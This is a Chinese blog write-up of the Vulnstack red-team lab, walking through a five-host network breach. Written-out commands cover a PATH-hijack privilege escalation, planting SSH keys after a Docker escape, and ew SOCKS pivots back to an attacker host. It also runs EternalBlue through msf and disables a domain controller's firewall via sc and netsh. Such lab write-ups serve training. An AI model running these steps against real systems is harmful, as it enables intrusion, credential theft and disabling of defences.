这么久没打vulnhub全是因为在吃这一套内网靶场(绝对没有在摸鱼 ),现在把我的思路写下来

前言

这是Vulnstack里的一套靶场,ATT&CK实战系列-红队评估(七)
这是靶场的链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

网络环境

整个靶场环境一共五个靶机(总共27.8 GB),分别位于三层网络环境中:
在这里插入图片描述
DMZ区IP段为192.168.1.1/24
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24

靶机环境的配置

靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:
DMZ区的 Ubuntu 需要启动nginx服务:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe

注意事项

开全部靶机,16G是最低配置,内存不够可以分开渗透
参考了两位大佬的博客:官方writeup这一篇

外网渗透

信息收集

第一步肯定是我们熟悉的信息收集啦
先拿到靶机的IP,然后进行namp扫描
在这里插入图片描述
在这里插入图片描述
访问一下80和81端口
80端口
在这里插入图片描述
404页面,我们再访问81端口
81端口
在这里插入图片描述
是Laravel框架搭建的,版本为8.29.0
我们百度一下这个框架的漏洞,发现有一个远程代码执行漏洞
在这里插入图片描述

Redis未授权访问

我们尝试一下redis未授权访问
在这里插入图片描述
发现是存在这个漏洞的,这就好办了,我们创建一个ssh密钥,然后上传上去,就可以直接ssh连接到靶机了
在这里插入图片描述
在这里插入图片描述
这里添加换行符是为了跟redies本身的缓存分开来
在这里插入图片描述
然后我们直接上传即可
在这里插入图片描述
然后我们登录进去,设置一下保存的路径跟文件名然后保存即可在这里插入图片描述
在这里插入图片描述
成功获取到了root权限
我们先把它的shell反弹到msf先
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功上线,我们再拿一下另外一台靶机的shell

Laravel Debug模式 RCE漏洞(CVE-2021-3129)

我们去github把exp下载下来
Github地址:https://github.com/zhzyker/CVE-2021-3129
下载下来后我们测试一下
在这里插入图片描述
成功运行,我们修改一下exp的源码,把id改成写入一句话木马
在这里插入图片描述
再运行一下之后直接用蚁剑连接即可
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))
在这里插入图片描述
我们使用蚁剑的虚拟终端,反弹一下shell到kali上
在这里插入图片描述
在这里插入图片描述
成功反弹了shell,但是反弹过来的shell的主机名很奇怪,猜测应该是在docker容器里面
在这里插入图片描述
先不管那么多,先看看有没有什么可以提权的东西
在这里插入图片描述
发现用户jobs下面有个可执行文件,我们去看看
在这里插入图片描述
发现执行了ps这个命令,这就好办了,我们创建一个虚假的ps,然后改一下PATH,就可以得到root权限了
在这里插入图片描述

echo '/bin/bash' > /tmp/ps
chmod 777 /tmp/ps
export PATH=/tmp:$PATH
echo $PATH

修改好之后,我们重新运行一下shell文件
在这里插入图片描述
成功获取到了root权限,我们现在可以考虑一下docker逃逸了

Docker特权模式逃逸

我们使用fdisk -l查看一下磁盘文件
在这里插入图片描述
发现有/dev/sda1,我们创建一个文件夹,然后把这个文件挂载到我们创建的文件夹下
在这里插入图片描述
挂载成功,我们看一下有没有用户
在这里插入图片描述
发现存在一下名为ubuntu的用户,这样就好办了,我们创建一个公钥把它添加到靶机的私钥里,就可以直接使用ssh登录了
在这里插入图片描述
在这里插入图片描述

ubuntu:
ssh-keygen -f hello
cat hello.pub
靶机:
cd /hack/home/ubuntu/.ssh
echo 'cat hellow.pub得到的东西' > authorized_keys

在这里插入图片描述
成功登录,但是我们并不是root权限,我们查看一下靶机的内核,看看有没有漏洞
在这里插入图片描述
发现有个叫cve-2021-3493的漏洞,刚好包含了这个版本

Linux kernel特权提升漏洞(CVE-2021-3493)

我们先把exp复制进靶机
Github地址:https://github.com/briskets/CVE-2021-3493
编译下,然后运行
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))
在这里插入图片描述
在这里插入图片描述
成功获取到root权限,我们也把它的shell反弹到msf
在这里插入图片描述
在这里插入图片描述
解下来,我们使用DMZ区域的ubuntu添加一个通往52网段的路由
在这里插入图片描述
然后我们扫描一下这个网段还有没有开放的靶机
在这里插入图片描述
在这里插入图片描述
还有一台30存活,但是我们的nmap在攻击机上,这个添加的路由之支持msf里面的工具,所以我们还需要搭建一个代理
我们使用ew工具搭建一个代理

内网渗透

我们先把工具上传到靶机
在这里插入图片描述
然后在本地使用如下命令开始监听
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
意思是把1080端口的请求转发到8888端口
然后在目标机器上输入

./ew_for_linux64 -s rssocks -d 192.168.2.18 -e 8888

在这里插入图片描述
之后就连接成功了,我们还需要配置一下proxy的代理
在这里插入图片描述
在这里插入图片描述
这样只要在想使用的命令前加上proxychains4就可以让他走这个代理了
我们使用这个方法,nmap扫描一下刚刚发现的30靶机

proxychains4 nmap -Pn -sT -sV 192.168.52.30

在这里插入图片描述
发现开放了一个网页,端口为8080,我们访问看看,注意,火狐也要配置代理
在这里插入图片描述
配置好后我们访问
在这里插入图片描述
发现是一个通达OA的办公系统
查了一下发现是存在一个任意用户登录,文件上传漏洞的,我们可以尝试上传一个webshell

关于通达OA漏洞更详细的讲解:https://blog.csdn.net/szgyunyun/article/details/107104288

按照教程的方法,我们尝试上传一个webshell
在这里插入图片描述
上传成功,我们看看能不能利用
在这里插入图片描述
利用成功了,并且权限是最高的为system
然后就是反弹一个shell到msf了
在这里插入图片描述
把这一串powershell命令放到burp执行
在这里插入图片描述
在这里插入图片描述
成功反弹了shell

拿下域控

我们查看一下他的域信息
在这里插入图片描述
发现有一个whoamianony域
我们使用kiwi模块尝试抓一下密码
在这里插入图片描述
报错了,说要64位进程才可以运行,我们随便找一个64位进程迁移一下即可
在这里插入图片描述
在这里插入图片描述
抓到了域控的账号密码
在这里插入图片描述
还有一个bunny的账号密码

第三层网络渗透

已经拿下了第二层所有的靶机,只剩下最后两个第三层的主机,我们使用之前的sessions添加一个通往93网段的路由
在这里插入图片描述
我们扫描一下,看看有什么靶机存活
在这里插入图片描述
有20,30和40,其中20已经被我们拿下了,只剩下30跟40了,我们重新搭建一个代理,这次代理要带我们进入93网段,得用其中一台机子当踏板
我们把ew上传到20这台机子
在这里插入图片描述
我们现在攻击机执行如下命令

./ew_for_linux64 -s lcx_listen -l 1090 -e 9998

然后在20这台机子上执行,建立正向socks代理

ew_for_Win.exe -s ssocksd -l 999

然后在我们最开始拿到的DMZ区域的ubuntu上执行,将攻击机的9998端口跟20机的999端口连起来

./ew_for_linux64 -s lcx_slave -d 192.168.2.18 -e 9998 -f 192.168.52.30 -g 999

在这里插入图片描述
成功连接,我们再修改一下配置文件
在这里插入图片描述
在这里插入图片描述
windows嘛,懂得都懂,我们首先使用永恒之蓝打一下40这台机子
先给msf设置一下代理
在这里插入图片描述

setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
exploit

在这里插入图片描述
芜湖!成功得到shell,但当我在打这个字的时候,他就直接断掉了…
由于某种原因,我们重新打一遍
在这里插入图片描述
获取到了四台靶机的shell了,只剩下一个DC域控了
还记得我们之前抓到的域控密码吗,我们使用尝试登录一下域控
在这里插入图片描述
在这里插入图片描述
利用成功了,但是并没有反弹shell回来,有可能是防火墙拦截了,我们使用20这台机子登录到域控,把防火墙关闭即可
首先登录一下

net use \192.168.93.30\ipc$ “Whoami2021” /user:“Administrator”

在这里插入图片描述
添加一个关闭防火墙的服务,然后在运行一下我们创建的服务即可

sc \192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc \192.168.93.30 start unablefirewall

然后我们重新利用一下漏洞
在这里插入图片描述
成功获取到了shell,至此,五台靶机的shell,都已经拿到了